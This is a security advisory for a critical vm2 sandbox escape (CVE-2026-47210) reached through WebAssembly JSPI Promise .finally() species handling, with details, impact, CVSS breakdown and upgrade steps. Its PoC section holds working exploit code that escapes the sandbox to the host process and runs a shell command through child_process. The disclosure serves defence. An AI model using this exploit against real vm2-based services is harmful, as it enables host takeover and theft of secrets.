Skip to content

GHSA-6j2x-vhqr-qr7q CVE-2026-47210

vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass

Critical npm
Severity
9.8 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
1.72%
Chance of exploitation in the next 30 days. Higher than 77.43% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-913 Improper Control of Dynamically-Managed Code Resources
Fix
3.11.4
Upgrade vm2 to this version or later

Description

Summary

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));

Impact

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

  • any application using vm2 to execute attacker-controlled JavaScript as a security boundary
  • especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)

Practical impact:

  • arbitrary command execution in the host process
  • arbitrary file read / write accessible to the host process
  • theft of secrets, tokens, credentials, and application data
  • complete compromise of services relying on vm2 isolation

Affected versions

npm

PackageVulnerableFixed in
vm2
< 3.11.4
3.11.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vm2 npm → 3.11.4

npm
npm install vm2@3.11.4
yarn
yarn add vm2@3.11.4
pnpm
pnpm add vm2@3.11.4

Severity breakdown

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-913: Improper Control of Dynamically-Managed Code Resources

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

How to prevent it
  • Implementation: For any externally-influenced input, check the input against an allowlist of acceptable values.
  • Implementation, Architecture and Design: Refactor the code so that it does not need to be dynamically managed.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-489w-w794-jq94
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
High Also affects vm2
GHSA-2v2p-6j97-cjg9
vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
Medium Also affects vm2
GHSA-5h3f-q97h-ccvc
vm2: NodeVM custom resolution bypasses external path boundaries
Critical Also affects vm2
GHSA-pq68-rvw4-xp4r
vm2 contains a sandbox escape vulnerability
Critical Also affects vm2
GHSA-f8gf-w286-fmq2
vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
High Also affects vm2
GHSA-6rh5-qq4q-97xh
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
High Also affects vm2
GHSA-8686-vhfx-7r3j
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Critical Also affects vm2
GHSA-wjwh-qqvp-g4p4
vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
Critical Also affects vm2
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor